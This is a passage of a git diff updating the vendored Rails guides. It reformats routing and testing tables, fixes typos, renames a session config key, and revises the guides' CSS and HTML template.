+---------------------------------------------------------------------------- + +Josh says : + +**** +3.3: I wouldn't recommend this: custom internal stack +i'd recommend using config.middleware.use api +we still need a better api for swapping out existing middleware, etc +config.middleware.swap AC::Sessions, My::Sessoins +or something like that +**** + +== Rails Metal Applications == + +Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue. + +=== Generating a Metal Application === + +Rails provides a generator called +performance_test+ for creating new performance tests: + +[source, shell] +---------------------------------------------------------------------------- +script/generate metal poller +---------------------------------------------------------------------------- + +This generates +poller.rb+ in the +app/metal+ directory: + +[source, ruby] +---------------------------------------------------------------------------- +# Allow the metal piece to run in isolation +require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails) + +class Poller + def self.call(env) + if env["PATH_INFO"] =~ /^\/poller/ + [200, {"Content-Type" => "text/html"}, ["Hello, World!"]] + else + [404, {"Content-Type" => "text/html"}, ["Not Found"]] + end + end +end +---------------------------------------------------------------------------- + +Metal applications are an optimization. You should make sure to http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal[understand the related performance implications] before using it. + +=== Execution Order === + +All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain. + +Here's the primary method responsible for running the Metal applications: + +[source, ruby] +---------------------------------------------------------------------------- +def call(env) + @metals.keys.each do |app| + result = app.call(env) + return result unless result[0].to_i == 404 + end + @app.call(env) +end +---------------------------------------------------------------------------- + +In the code above, +@metals+ is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain. + +IMPORTANT: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement. + +== Middlewares and Rails == + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket] + +* January 11, 2009: First version by link:../authors.html#lifo[Pratik] \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/routing_outside_in.txt b/vendor/rails/railties/doc/guides/source/routing_outside_in.txt index 0f6cd358..a182948b 100644 --- a/vendor/rails/railties/doc/guides/source/routing_outside_in.txt +++ b/vendor/rails/railties/doc/guides/source/routing_outside_in.txt @@ -132,18 +132,17 @@ map.resources :photos creates seven different routes in your application: -[grid="all"] -`----------`---------------`-----------`--------`------------------------------------------- -HTTP verb URL controller action used for --------------------------------------------------------------------------------------------- -GET /photos Photos index display a list of all photos -GET /photos/new Photos new return an HTML form for creating a new photo -POST /photos Photos create create a new photo -GET /photos/1 Photos show display a specific photo -GET /photos/1/edit Photos edit return an HTML form for editing a photo -PUT /photos/1 Photos update update a specific photo -DELETE /photos/1 Photos destroy delete a specific photo --------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================== +|HTTP verb |URL |controller |action |used for +|GET |/photos |Photos |index |display a list of all photos +|GET |/photos/new |Photos |new |return an HTML form for creating a new photo +|POST |/photos |Photos |create |create a new photo +|GET |/photos/1 |Photos |show |display a specific photo +|GET |/photos/1/edit |Photos |edit |return an HTML form for editing a photo +|PUT |/photos/1 |Photos |update |update a specific photo +|DELETE |/photos/1 |Photos |destroy |delete a specific photo +|========================================================================================================== For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as +params[:id]+. @@ -197,17 +196,16 @@ map.resource :geocoder creates six different routes in your application: -[grid="all"] -`----------`---------------`-----------`--------`------------------------------------------- -HTTP verb URL controller action used for --------------------------------------------------------------------------------------------- -GET /geocoder/new Geocoders new return an HTML form for creating the new geocoder -POST /geocoder Geocoders create create the new geocoder -GET /geocoder Geocoders show display the one and only geocoder resource -GET /geocoder/edit Geocoders edit return an HTML form for editing the geocoder -PUT /geocoder Geocoders update update the one and only geocoder resource -DELETE /geocoder Geocoders destroy delete the geocoder resource --------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================== +|HTTP verb |URL |controller |action |used for +|GET |/geocoder/new |Geocoders |new |return an HTML form for creating the new geocoder +|POST |/geocoder |Geocoders |create |create the new geocoder +|GET |/geocoder |Geocoders |show |display the one and only geocoder resource +|GET |/geocoder/edit |Geocoders |edit |return an HTML form for editing the geocoder +|PUT |/geocoder |Geocoders |update |update the one and only geocoder resource +|DELETE |/geocoder |Geocoders |destroy |delete the geocoder resource +|========================================================================================================== NOTE: Even though the name of the resource is singular in +routes.rb+, the matching controller is still plural. @@ -245,18 +243,17 @@ map.resources :photos, :controller => "images" will recognize incoming URLs containing +photo+ but route the requests to the Images controller: -[grid="all"] -`----------`---------------`-----------`--------`------------------------------------------- -HTTP verb URL controller action used for --------------------------------------------------------------------------------------------- -GET /photos Images index display a list of all images -GET /photos/new Images new return an HTML form for creating a new image -POST /photos Images create create a new image -GET /photos/1 Images show display a specific image -GET /photos/1/edit Images edit return an HTML form for editing a image -PUT /photos/1 Images update update a specific image -DELETE /photos/1 Images destroy delete a specific image --------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================== +|HTTP verb |URL |controller |action |used for +|GET |/photos |Images |index |display a list of all images +|GET |/photos/new |Images |new |return an HTML form for creating a new image +|POST |/photos |Images |create |create a new image +|GET |/photos/1 |Images |show |display a specific image +|GET |/photos/1/edit |Images |edit |return an HTML form for editing a image +|PUT |/photos/1 |Images |update |update a specific image +|DELETE |/photos/1 |Images |destroy |delete a specific image +|========================================================================================================== NOTE: The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on. @@ -328,18 +325,17 @@ map.resources :photos, :as => "images" will recognize incoming URLs containing +image+ but route the requests to the Photos controller: -[grid="all"] -`----------`---------------`-----------`--------`------------------------------------------- -HTTP verb URL controller action used for --------------------------------------------------------------------------------------------- -GET /images Photos index display a list of all photos -GET /images/new Photos new return an HTML form for creating a new photo -POST /images Photos create create a new photo -GET /images/1 Photos show display a specific photo -GET /images/1/edit Photos edit return an HTML form for editing a photo -PUT /images/1 Photos update update a specific photo -DELETE /images/1 Photos destroy delete a specific photo --------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================== +|HTTP verb |URL |controller |action |used for +|GET |/images |Photos |index |display a list of all photos +|GET |/images/new |Photos |new |return an HTML form for creating a new photo +|POST |/images |Photos |create |create a new photo +|GET |/images/1 |Photos |show |display a specific photo +|GET |/images/1/edit |Photos |edit |return an HTML form for editing a photo +|PUT |/images/1 |Photos |update |update a specific photo +|DELETE |/images/1 |Photos |destroy |delete a specific photo +|========================================================================================================== NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on. @@ -424,7 +420,7 @@ In this case, all of the normal routes except the route for +destroy+ (a +DELETE In addition to an action or a list of actions, you can also supply the special symbols +:all+ or +:none+ to the +:only+ and +:except+ options. -TIP: If your application has many RESTful routes, using +:only+ and +:accept+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process. +TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process. === Nested Resources @@ -452,18 +448,17 @@ end In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL: -[grid="all"] -`----------`-----------------------`-----------`--------`------------------------------------------- -HTTP verb URL controller action used for --------------------------------------------------------------------------------------------- -GET /magazines/1/ads Ads index display a list of all ads for a specific magazine -GET /magazines/1/ads/new Ads new return an HTML form for creating a new ad belonging to a specific magazine -POST /magazines/1/ads Ads create create a new ad belonging to a specific magazine -GET /magazines/1/ads/1 Ads show display a specific ad belonging to a specific magazine -GET /magazines/1/ads/1/edit Ads edit return an HTML form for editing an ad belonging to a specific magazine -PUT /magazines/1/ads/1 Ads update update a specific ad belonging to a specific magazine -DELETE /magazines/1/ads/1 Ads destroy delete a specific ad belonging to a specific magazine --------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================== +|HTTP verb |URL |controller |action |used for +|GET |/magazines/1/ads |Ads |index |display a list of all ads for a specific magazine +|GET |/magazines/1/ads/new |Ads |new |return an HTML form for creating a new ad belonging to a specific magazine +|POST |/magazines/1/ads |Ads |create |create a new ad belonging to a specific magazine +|GET |/magazines/1/ads/1 |Ads |show |display a specific ad belonging to a specific magazine +|GET |/magazines/1/ads/1/edit |Ads |edit |return an HTML form for editing an ad belonging to a specific magazine +|PUT |/magazines/1/ads/1 |Ads |update |update a specific ad belonging to a specific magazine +|DELETE |/magazines/1/ads/1 |Ads |destroy |delete a specific ad belonging to a specific magazine +|========================================================================================================== This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. @@ -738,7 +733,7 @@ You do not need to explicitly use the +:controller+ and +:action+ symbols within [source, ruby] ------------------------------------------------------- -map.connect 'photo/:id', :controller => 'photos', :action => 'show' +map.connect 'photos/:id', :controller => 'photos', :action => 'show' ------------------------------------------------------- With this route, an incoming URL of +/photos/12+ would be dispatched to the +show+ action within the +Photos+ controller. @@ -747,7 +742,7 @@ You an also define other defaults in a route by supplying a hash for the +:defau [source, ruby] ------------------------------------------------------- -map.connect 'photo/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' } +map.connect 'photos/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' } ------------------------------------------------------- With this route, an incoming URL of +photos/12+ would be dispatched to the +show+ action within the +Photos+ controller, and +params[:format]+ will be set to +jpg+. @@ -795,7 +790,7 @@ As with conditions in RESTful routes, you can specify +:get+, +:post+, +:put+, + === Route Globbing -Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example +Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example [source, ruby] ------------------------------------------------------- @@ -886,7 +881,7 @@ For better readability, you can specify an already-created route in your call to [source, ruby] ------------------------------------------------------- -map.index :controller => "pages", :action => "main" +map.index 'index', :controller => "pages", :action => "main" map.root :index ------------------------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/security.txt b/vendor/rails/railties/doc/guides/source/security.txt index 9b3f4793..b4e8bb4b 100644 --- a/vendor/rails/railties/doc/guides/source/security.txt +++ b/vendor/rails/railties/doc/guides/source/security.txt @@ -93,7 +93,7 @@ That means the security of this storage depends on this secret (and of the diges .................................... config.action_controller.session = { - :session_key => ‘_app_session’, + :key => ‘_app_session’, :secret => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’ } .................................... diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/base.css b/vendor/rails/railties/doc/guides/source/stylesheets/base.css index 76ee6e2c..2bf0b93c 100644 --- a/vendor/rails/railties/doc/guides/source/stylesheets/base.css +++ b/vendor/rails/railties/doc/guides/source/stylesheets/base.css @@ -6,190 +6,194 @@ 1. General HTML elements 2. General classes 3. General structure - 1. header - 2. Content - 3. Sidebar - 4. Sitewide elements - 1. Introduction boxes - 2. Navigation + 1. header + 2. Content + 3. Sidebar + 4. Sitewide elements + 1. Introduction boxes + 2. Navigation 5. Elements for specific areas - 1. Weblog - + 1. Weblog + ---------------------------------------------------------------------------- */ * { - margin: 0; - padding: 0; + margin: 0; + padding: 0; } -body { - color: #333333; +body { + color: #333333; - background-color: #FFFFFF; - background-image: url(../images/header_backdrop.png); - background-repeat: repeat-x; - background-position: 0 -25px; + background-color: #FFFFFF; + background-image: url(../images/header_backdrop.png); + background-repeat: repeat-x; + background-position: 0 -25px; - font-size: 80%; - font-family: verdana, helvetica, arial, sans-serif; - line-height: 1.7em; - - /* Center in IE5.5 */ - text-align: center; + font-size: 80%; + font-family: verdana, helvetica, arial, sans-serif; + line-height: 1.7em; + + /* Center in IE5.5 */ + text-align: center; } h1 { - font-size: 2em; - font-weight: normal; - letter-spacing: -0.04em; + font-size: 2em; + font-weight: normal; + letter-spacing: -0.04em; } h2 { - font-size: 1.5em; - font-weight: normal; - letter-spacing: -0.04em; + font-size: 1.5em; + font-weight: normal; + letter-spacing: -0.04em; } h1,h2,h3,h4,h5,h6 { - margin-top: 1em; - margin-bottom: 0.5em; + margin-top: 1em; + margin-bottom: 0.5em; } .pageheader a:link, .pageheader a:visited{ - color: #333; + color: #333; text-decoration: none; } img { - border: none; + border: none; } p { - margin-bottom: 1em; + margin-bottom: 1em; } a:link { - color: #BB2233; + color: #BB2233; } a:visited { - color: #991122; + color: #991122; } a:hover { - color: #CC2233; - background-color: #EEEEEE; + color: #CC2233; + background-color: #EEEEEE; } a:active { } ul { - margin-top: 1em; - list-style-type: none; + margin-top: 1em; + list-style-type: none; } ul li { - margin-left: 0.5em; - padding-left: 1em; - - background-image: url(../images/bullet.gif); - background-repeat: no-repeat; - background-position: 0 0.55em; + margin-left: 0.5em; + padding-left: 1em; + + background-image: url(../images/bullet.gif); + background-repeat: no-repeat; + background-position: 0 0.55em; +} + +ul li p { + margin-bottom: 0.5em; } /* ---------------------------------------------------------------------------- - Structure + Structure ---------------------------------------------------------------------------- */ div#container { - width: 90%; - max-width: 790px; + width: 90%; + max-width: 790px; - margin-top: 10px; - margin-left: auto; - margin-right: auto; + margin-top: 10px; + margin-left: auto; + margin-right: auto; - font-size: 1em; + font-size: 1em; - /* Don't center text, only div#container */ - text-align: left; + /* Don't center text, only div#container */ + text-align: left; } div#header { - /* This height controls the vertical position of #content and #sidebar */ - height: 160px; - overflow: hidden; + /* This height controls the vertical position of #content and #sidebar */ + height: 160px; + overflow: hidden; } div#header h1 { - height: 30px; - - margin: 0; - margin-top: 10px; - margin-left: 100px; - padding: 0; - font-weight: bold; - font-size: 24pt; + height: 30px; + + margin: 0; + margin-top: 10px; + margin-left: 100px; + padding: 0; + font-weight: bold; + font-size: 24pt; } div#header p { - height: 30px; - margin: 0; - margin-left: 160px; - padding: 0; - font-weight: bold; - font-size: 14pt; - color: #999; + height: 30px; + margin: 0; + margin-left: 160px; + padding: 0; + font-weight: bold; + font-size: 14pt; + color: #999; } /* div#logo { - float: left; - width: 110px; - height: 140px; - margin-right: 31px; + float: left; + width: 110px; + height: 140px; + margin-right: 31px; } */ div#content { - margin-left: 170px; + margin-left: 170px; } /* Fix the IE only 3pixel jog - documented at http://www.positioniseverything.net/articles/hollyhack.html#haslayout \*/ * html #content { - height: 1px; + height: 1px; } /* End hide from IE5-mac */ div#sidebar { - float: left; - width: 170px; - margin-top: -4px; - font-size: 0.8em; + float: left; + width: 170px; + margin-top: -4px; + font-size: 0.8em; } div#sidebar h2 { - margin: 0; - font-size: 1.1em; - font-weight: bold; + margin: 0; + font-size: 1.1em; + font-weight: bold; } div#sidebar ul { - margin-top: 0; - margin-bottom: 1em; - padding: 0; + margin-top: 0; + margin-bottom: 1em; + padding: 0; } div#sidebar ol li { - margin: 0 0 2px 0px; - padding: 0; - line-height: 1.3em; - background-image: none; + margin: 0 0 2px 0px; + padding: 0; + line-height: 1.3em; + background-image: none; } div#sidebar ol li a { - display: block; - width: 150px; - padding: 0.2em 0; + display: block; + width: 150px; + padding: 0.2em 0; } div#sidebar ul li { @@ -199,160 +203,160 @@ div#sidebar ul li { div#sidebar ol>ol { padding-left: 5px; padding-right: 5px; - list-style-type: none; - + list-style-type: none; + } div#sidebar ol>ol li a { - display: block; - width: 140px; - padding: 0.2em 0; - margin-left: 10px; - + display: block; + width: 140px; + padding: 0.2em 0; + margin-left: 10px; + } div#sidebar ol li a:hover { } /* ---------------------------------------------------------------------------- - Specific site-wide elements + Specific site-wide elements ---------------------------------------------------------------------------- */ /* Introduction boxes */ .introduction { - margin-bottom: 1em; - padding: 1em; - background-color: #D6DFE8; + margin-bottom: 1em; + padding: 1em; + background-color: #D6DFE8; } .introduction p { - margin-bottom: 0; + margin-bottom: 0; } /* Navigation */ ul#navMain { - height: 22px; - margin: 0; - margin-left: 140px; - padding: 16px 0; + height: 22px; + margin: 0; + margin-left: 140px; + padding: 16px 0; - list-style-type: none; + list-style-type: none; } ul#navMain li { - display: inline; - background-image: none; - margin: 0; - padding: 0; + display: inline; + background-image: none; + margin: 0; + padding: 0; } ul#navMain li { - border-left: 1px solid #FFFFFF; + border-left: 1px solid #FFFFFF; } ul#navMain li.first-child { - /* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip - superfluous classes? */ - border-left: none; + /* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip + superfluous classes? */ + border-left: none; } -ul#navMain li a { - padding: 0.2em 1em; - - color: #FFFFFF; - text-decoration: none; +ul#navMain li a { + padding: 0.2em 1em; + + color: #FFFFFF; + text-decoration: none; } ul#navMain li.first-child a { - /* Wouldn't it be nice if IE was up-to-date with the rest of the world? */ - padding-left: 0; + /* Wouldn't it be nice if IE was up-to-date with the rest of the world? */ + padding-left: 0; } -ul#navMain li a:hover { - text-decoration: underline; - background-color: transparent; +ul#navMain li a:hover { + text-decoration: underline; + background-color: transparent; } /* Mark the current page */ ul#navMain li.current a { - font-weight: bold; + font-weight: bold; } /* ---------------------------------------------------------------------------- - Elements for specific areas + Elements for specific areas ---------------------------------------------------------------------------- */ /* Weblog */ .blogEntry { - margin-bottom: 2em; + margin-bottom: 2em; } .blogEntry h2 { - margin-top: 0; - margin-bottom: 0; + margin-top: 0; + margin-bottom: 0; } p.metaData { - color: #999999; - font-size: 0.9em; + color: #999999; + font-size: 0.9em; } /* Reference documentation */ #reference #sidebar { - display: none; - width: 0; + display: none; + width: 0; } #reference #content { - margin-left: 0; + margin-left: 0; } #reference #content #api { - width: 100%; - height: 800px; + width: 100%; + height: 800px; } #reference #logo { - width: 80px; - height: 86px; + width: 80px; + height: 86px; - margin-right: 0; + margin-right: 0; } #reference #logo img { - height: 84px; + height: 84px; } #reference { - /* The header is smaller on the reference page, move the background up so the menu is in the - proper place still */ - background-position: 0 -70px; + /* The header is smaller on the reference page, move the background up so the menu is in the + proper place still */ + background-position: 0 -70px; } #reference #header { - height: 90px; + height: 90px; } #reference #header h1 { - height: 24px; + height: 24px; - margin-top: 2px; - margin-left: 0; - - background-image: none; + margin-top: 2px; + margin-left: 0; + + background-image: none; + + text-indent: 0; + font-size: 1.5em; + font-weight: bold; - text-indent: 0; - font-size: 1.5em; - font-weight: bold; - } #reference #container { - max-width: 100%; + max-width: 100%; } \ No newline at end of file diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/forms.css b/vendor/rails/railties/doc/guides/source/stylesheets/forms.css index a3fce205..1da34dc9 100644 --- a/vendor/rails/railties/doc/guides/source/stylesheets/forms.css +++ b/vendor/rails/railties/doc/guides/source/stylesheets/forms.css @@ -1,7 +1,7 @@ label, input { - display: block; - float: left; - margin-bottom: 10px; + display: block; + float: left; + margin-bottom: 10px; } label { @@ -25,7 +25,7 @@ form>h1{ } td { - vertical-align: top; + vertical-align: top; } #livepreview { diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/more.css b/vendor/rails/railties/doc/guides/source/stylesheets/more.css index 9446b439..756ae06d 100644 --- a/vendor/rails/railties/doc/guides/source/stylesheets/more.css +++ b/vendor/rails/railties/doc/guides/source/stylesheets/more.css @@ -12,8 +12,8 @@ border: 1px solid #ccc; } -pre { - overflow: auto; +pre { + overflow: auto; } #content pre, #content ul { @@ -25,13 +25,13 @@ pre { } div#header h1 a{ - color: #333333; - text-decoration: none; + color: #333333; + text-decoration: none; } div#header p a{ text-decoration: none; - color: #999; + color: #999; } .left-floaty { @@ -80,3 +80,174 @@ div#header p a{ font-size: small; padding-right: 1em; } + +div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('../images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + + + + diff --git a/vendor/rails/railties/doc/guides/source/templates/guides.html.erb b/vendor/rails/railties/doc/guides/source/templates/guides.html.erb index d69cf5e0..ae1145c1 100644 --- a/vendor/rails/railties/doc/guides/source/templates/guides.html.erb +++ b/vendor/rails/railties/doc/guides/source/templates/guides.html.erb @@ -1,97 +1,94 @@ <%- - manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html" - show_toc = ENV['MANUALSONRAILS_TOC'] != 'no' + manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html" + show_toc = ENV['MANUALSONRAILS_TOC'] != 'no' -%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> - <title><%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %> - - - - - + + <%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %> + + + + - + +
class="notoc"<% end %>> + <% if show_toc %> + + <% end %> +
+ <%- if multi_page? && !is_preamble? -%> +

<%= current_chapter.title %>

+ <%- else -%> +

<%=h title %>

+ <%- end -%> + <%= contents %> + <%- if multi_page? -%> +
+ <%- if prev_chapter -%> + + <%- end -%> + <%- if next_chapter -%> + + <%- end -%> +
+ <%- end -%> +
+
diff --git a/vendor/rails/railties/doc/guides/source/templates/inline.css b/vendor/rails/railties/doc/guides/source/templates/inline.css deleted file mode 100644 index 1b406733..00000000 --- a/vendor/rails/railties/doc/guides/source/templates/inline.css +++ /dev/null @@ -1,165 +0,0 @@ -div#container { - max-width: 900px; - padding-bottom: 3em; -} - -div#content { - margin-left: 200px; -} - -div#container.notoc { - max-width: 600px; -} - -.notoc div#content { - margin-left: 0; -} - -pre { - line-height: 1.4em; -} - -#content p tt { - background: #eeeeee; - border: solid 1px #cccccc; - padding: 3px; -} - -dt { - font-weight: bold; -} - -#content dt tt { - font-size: 10pt; -} - -dd { - margin-left: 3em; -} - -#content dt tt, #content pre tt { - background: none; - padding: 0; - border: 0; -} - -#content .olist ol { - margin-left: 2em; -} - -#header { - position: relative; - max-width: 840px; - margin-left: auto; - margin-right: auto; -} - -#header.notoc { - max-width: 580px; -} - -#logo { - position: absolute; - left: 10px; - top: 10px; - width: 110px; - height: 140px; -} - -div#header h1#site_title { - background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; - position: absolute; - width: 392px; - height: 55px; - left: 145px; - top: 20px; - margin: 0; - padding: 0; -} - -#site_title span { - display: none; -} - -#site_title_tagline { - display: none; -} - -ul#navMain { - position: absolute; - margin: 0; - padding: 0; - top: 97px; - left: 145px; -} - -.left-floaty, .right-floaty { - padding: 15px; -} - -.admonitionblock, -.tableblock { - margin-left: 1em; - margin-right: 1em; - margin-top: 0.25em; - margin-bottom: 1em; -} - -.admonitionblock .icon { - padding-right: 8px; -} - -.admonitionblock .content { - border: solid 1px #ffda78; - background: #fffebd; - padding: 10px; - padding-top: 8px; - padding-bottom: 8px; -} - -.admonitionblock .title { - font-size: 140%; - margin-bottom: 0.5em; -} - -.tableblock table { - border: solid 1px #aaaaff; - background: #f0f0ff; -} - -.tableblock th { - background: #e0e0e0; -} - -.tableblock th, -.tableblock td { - padding: 3px; - padding-left: 5px; - padding-right: 5px; -} - -.sidebarblock { - margin-top: 0.25em; - margin: 1em; - border: solid 1px #ccccbb; - padding: 8px; - background: #ffffe0; -} - -.sidebarblock .sidebar-title { - font-size: 140%; - font-weight: 600; - margin-bottom: 0.3em; -} - -.sidebarblock .sidebar-content > .para:last-child > p { - margin-bottom: 0; -} - -.sidebarblock .sidebar-title a { - text-decoration: none; -} - -.sidebarblock .sidebar-title a:hover { - text-decoration: underline; -} diff --git a/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt b/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt index 6cced2fd..054260e2 100644 --- a/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt +++ b/vendor/rails/railties/doc/guides/source/testing_rails_applications.txt @@ -226,20 +226,19 @@ Above +rake db:migrate+ runs any pending migrations on the _developemnt_ environ NOTE: +db:test:prepare+ will fail with an error if db/schema.rb doesn't exists. -==== Rake Tasks for Preparing you Application for Testing == +==== Rake Tasks for Preparing your Application for Testing ==== -[grid="all"] ---------------------------------`---------------------------------------------------- -Tasks Description ------------------------------------------------------------------------------------- -+rake db:test:clone+ Recreate the test database from the current environment's database schema -+rake db:test:clone_structure+ Recreate the test databases from the development structure -+rake db:test:load+ Recreate the test database from the current +schema.rb+ -+rake db:test:prepare+ Check for pending migrations and load the test schema -+rake db:test:purge+ Empty the test database. ------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================== +|Tasks |Description +|+rake db:test:clone+ |Recreate the test database from the current environment's database schema +|+rake db:test:clone_structure+ |Recreate the test databases from the development structure +|+rake db:test:load+ |Recreate the test database from the current +schema.rb+ +|+rake db:test:prepare+ |Check for pending migrations and load the test schema +|+rake db:test:purge+ |Empty the test database. +|========================================================================================================== -TIP: You can see all these rake tasks and their descriptions by running +rake --tasks --describe+ +TIP: You can see all these rake tasks and their descriptions by running +rake \-\-tasks \-\-describe+ === Running Tests === @@ -404,30 +403,29 @@ By now you've caught a glimpse of some of the assertions that are available. Ass There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with +test/unit+, the testing library used by Rails. The +[msg]+ parameter is an optional string message you can specify to make your test failure messages clearer. It's not required. -[grid="all"] -`-----------------------------------------------------------------`------------------------------------------------------------------------ -Assertion Purpose ------------------------------------------------------------------------------------------------------------------------------------------- -+assert( boolean, [msg] )+ Ensures that the object/expression is true. -+assert_equal( obj1, obj2, [msg] )+ Ensures that +obj1 == obj2+ is true. -+assert_not_equal( obj1, obj2, [msg] )+ Ensures that +obj1 == obj2+ is false. -+assert_same( obj1, obj2, [msg] )+ Ensures that +obj1.equal?(obj2)+ is true. -+assert_not_same( obj1, obj2, [msg] )+ Ensures that +obj1.equal?(obj2)+ is false. -+assert_nil( obj, [msg] )+ Ensures that +obj.nil?+ is true. -+assert_not_nil( obj, [msg] )+ Ensures that +obj.nil?+ is false. -+assert_match( regexp, string, [msg] )+ Ensures that a string matches the regular expression. -+assert_no_match( regexp, string, [msg] )+ Ensures that a string doesn't matches the regular expression. -+assert_in_delta( expecting, actual, delta, [msg] )+ Ensures that the numbers `expecting` and `actual` are within `delta` of each other. -+assert_throws( symbol, [msg] ) { block }+ Ensures that the given block throws the symbol. -+assert_raises( exception1, exception2, ... ) { block }+ Ensures that the given block raises one of the given exceptions. -+assert_nothing_raised( exception1, exception2, ... ) { block }+ Ensures that the given block doesn't raise one of the given exceptions. -+assert_instance_of( class, obj, [msg] )+ Ensures that +obj+ is of the +class+ type. -+assert_kind_of( class, obj, [msg] )+ Ensures that +obj+ is or descends from +class+. -+assert_respond_to( obj, symbol, [msg] )+ Ensures that +obj+ has a method called +symbol+. -+assert_operator( obj1, operator, obj2, [msg] )+ Ensures that +obj1.operator(obj2)+ is true. -+assert_send( array, [msg] )+ Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh? -+flunk( [msg] )+ Ensures failure. This is useful to explicitly mark a test that isn't finished yet. ------------------------------------------------------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================================================== +|Assertion |Purpose +|+assert( boolean, [msg] )+ |Ensures that the object/expression is true. +|+assert_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is true. +|+assert_not_equal( obj1, obj2, [msg] )+ |Ensures that +obj1 == obj2+ is false. +|+assert_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is true. +|+assert_not_same( obj1, obj2, [msg] )+ |Ensures that +obj1.equal?(obj2)+ is false. +|+assert_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is true. +|+assert_not_nil( obj, [msg] )+ |Ensures that +obj.nil?+ is false. +|+assert_match( regexp, string, [msg] 